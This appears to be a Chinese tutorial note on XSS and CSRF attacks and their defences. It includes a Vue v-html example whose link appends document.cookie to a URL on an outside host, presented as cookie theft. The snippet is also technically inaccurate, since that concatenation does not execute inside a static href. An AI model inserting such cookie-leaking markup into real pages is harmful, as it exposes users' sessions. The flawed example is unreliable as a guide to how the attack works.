XSS 和 CSRF 是最常见的攻击方式，以下整理了它们的定义、攻击特点、防范手段。
XSS 跨站脚本攻击 “注入 篡改”
攻击特点：黑客通过恶意脚本（包括JS，html）对浏览器进行攻击，篡改浏览器的正常显示，窃取用户隐私数据（如Cookie，账号信息）的一种攻击方式。
三类：反射型（非持久型）、存储型（持久型）、DOM型。
- 反射型：将浏览器发请求时，url里塞一些恶意脚本，作为输入提交到服务器端，服务器端响应时再把恶意脚本返回浏览器，传回给浏览器，最后浏览器解析执行XSS代码，获取隐私数据。
- 存储型：恶意脚本存储在服务器端的数据库里，浏览器请求数据时，脚本从服务器传回。
- DOM型：通过修改页面的 DOM 节点形成的 XSS。
注意：Vue 中 使用 v-html 可能导致 XSS 攻击
第一个 div 在页面上直接输出 <a href="http://www.baidu.com?"+document.cookie>资源</a>，因为在 Vue 中的 {{ 属性 }} 会将data的属性名对应的属性值解释为普通文本，而不是 HTML 代码。
第二个 div 在页面上输出的是 资源， v-html 指令可以直接在页面结构中插入了此段 HTML 代码，点击a标签后网站将跳转到百度，同时也会将所在网站的cookie以参数的形式传入要跳转的网站中去。如果跳转到一个比较危险的服务器，那么，他们就会获取到关于你当前网站的Cookie，这样就会出现一些安全性的问题。
<template>
<div>{{ message }}</div>
<div v-html="message"></div>
</template>
<script>
export default {
data() {
return {
message: '<a href="http://www.baidu.com?"+document.cookie>资源</a>'
}
}
}
</script>
但是，使用 v-html 这种方法可能会非常危险，因为它很容易导致 XSS 攻击，因此只在可信内容上使用 v-html，永远不对用户提交的内容使用这种插值方法。
防范
（1）输入过滤：浏览器->服务器，服务器->浏览器的内容进行验证（URL）
（2）输出转义：输出到网页上的内容，要进行校验
（3）Cookie 使用 HttpOnly，使 Cookie 不能被劫持
CSRF 跨站请求伪造 “冒充”
黑客诱导用户进入第三方网站，冒充用户对被攻击的网站发送请求，因为用户在被攻击网站登录状态，就绕过了验证，这个请求对服务器合法，但是不是用户希望的，是黑客想要访问的，从而利用此进行一些操作。
原理：cookie 会在同源请求中携带发送给服务器
防范
（1）在服务器中验证请求头 refer字段，判断是否同源
（2）用户请求中设置一个随机值token
（3）加手机验证码
